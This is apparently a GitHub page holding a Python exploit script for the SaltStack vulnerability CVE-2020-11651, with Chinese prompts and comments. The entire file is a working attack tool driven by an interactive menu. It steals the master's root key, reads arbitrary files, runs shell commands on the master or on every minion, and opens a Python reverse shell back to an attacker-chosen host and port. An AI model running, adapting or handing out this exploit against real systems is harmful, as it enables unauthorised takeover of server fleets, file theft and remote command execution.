-
Notifications
You must be signed in to change notification settings - Fork 15
/
CVE-2020-11651.py
211 lines (163 loc) · 6.1 KB
/
CVE-2020-11651.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
# BASE https://github.com/bravery9/SaltStack-Exp
# 微信公众号:台下言书
# -*- coding:utf-8 -*- -
from __future__ import absolute_import, print_function, unicode_literals
import argparse
import os
import sys
import datetime
import salt
import salt.version
import salt.transport.client
import salt.exceptions
DEBUG = False
def init_minion(master_ip, master_port):
minion_config = {
'transport': 'zeromq',
'pki_dir': '/tmp',
'id': 'root',
'log_level': 'debug',
'master_ip': master_ip,
'master_port': master_port,
'auth_timeout': 5,
'auth_tries': 1,
'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
}
return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
def check_salt_version():
print("[+] Salt 版本: {}".format(salt.version.__version__))
vi = salt.version.__version_info__
if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
return True
else:
return False
def check_connection(master_ip, master_port, channel):
print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
sys.stdout.flush()
try:
channel.send({'cmd': 'ping'}, timeout=2)
print('\033[1;32m可以连接\033[0m')
except salt.exceptions.SaltReqTimeoutError:
print("\033[1;31m无法连接\033[0m")
sys.exit(1)
def check_CVE_2020_11651(channel):
sys.stdout.flush()
# try to evil
try:
rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("\033[1;32m不存在漏洞\033[0m")
except:
print("\033[1;32m未知错误\033[0m")
raise
else:
pass
finally:
if rets:
root_key = rets[2]['root']
print("\033[1;31m存在漏洞\033[0m")
return root_key
return None
def pwn_read_file(channel, root_key, path, master_ip):
# print("[+] Attemping to read {} from {}".format(path, master_ip))
sys.stdout.flush()
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.read',
'path': path,
'saltenv': 'base',
}
rets = channel.send(msg, timeout=3)
print(rets['data']['return'][0][path])
def pwn_getshell(channel, root_key, LHOST, LPORT):
msg = {"key": root_key,
"cmd": "runner",
'fun': 'salt.cmd',
"kwarg": {
"fun": "cmd.exec_code",
"lang": "python3",
"code": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{}\",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);".format(
LHOST, LPORT)
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'}
try:
response = channel.send(msg, timeout=3)
print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
return True
except:
print("something failed")
return False
def pwn_exec(channel, root_key, exec_cmd, master_or_minions):
if master_or_minions == "master":
msg = {"key": root_key,
"cmd": "runner",
'fun': 'salt.cmd',
"kwarg": {
"fun": "cmd.exec_code",
"lang": "python3",
"code": "import subprocess;subprocess.call('{}',shell=True)".format(exec_cmd)
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'}
try:
response = channel.send(msg, timeout=3)
print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
return True
except:
print("something failed")
return False
if master_or_minions == "minions":
print("Sending command to all minions on master")
jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())
cmd = "/bin/sh -c '{0}'".format(exec_cmd)
msg = {'cmd': "_send_pub", "fun": "cmd.run", "arg": [cmd], "tgt": "*", "ret": "", "tgt_type": "glob",
"user": "root", "jid": jid}
try:
response = channel.send(msg, timeout=3)
if response == None:
return True
else:
return False
except:
return False
#####################################
master_ip=input('目标IP:')
master_port='4506'
channel = init_minion(master_ip, master_port)
try:
root_key = check_CVE_2020_11651(channel)
except:
pass
while master_ip!='':
print('1.测试POC 2.读取文件 3.执行命令(无回显) 4.反弹shell 5.退出')
whattype=input('请选择:')
if whattype=='1':
check_salt_version() # 检查salt版本
check_connection(master_ip, master_port, channel) # 检查连接
root_key = check_CVE_2020_11651(channel) # 读取root key
print(root_key)
elif whattype=='2':
path = input('读取路径:')
try:
pwn_read_file(channel, root_key, path, master_ip) # 读取文件
except:
print('文件不存在')
elif whattype=='3':
print('1.master 2.minions')
exectype = input('选择方式:')
if exectype=='1':
master_or_minions='master'
elif exectype=='2':
master_or_minions = 'minions'
exec_cmd = input('输入命令:')
pwn_exec(channel, root_key, exec_cmd, master_or_minions) # 执行命令
elif whattype=='4':
LHOST = input('反弹到IP:')
LPORT = input('反弹端口:')
pwn_getshell(channel, root_key, LHOST, LPORT) # 反弹shell
elif whattype=='5':
exit()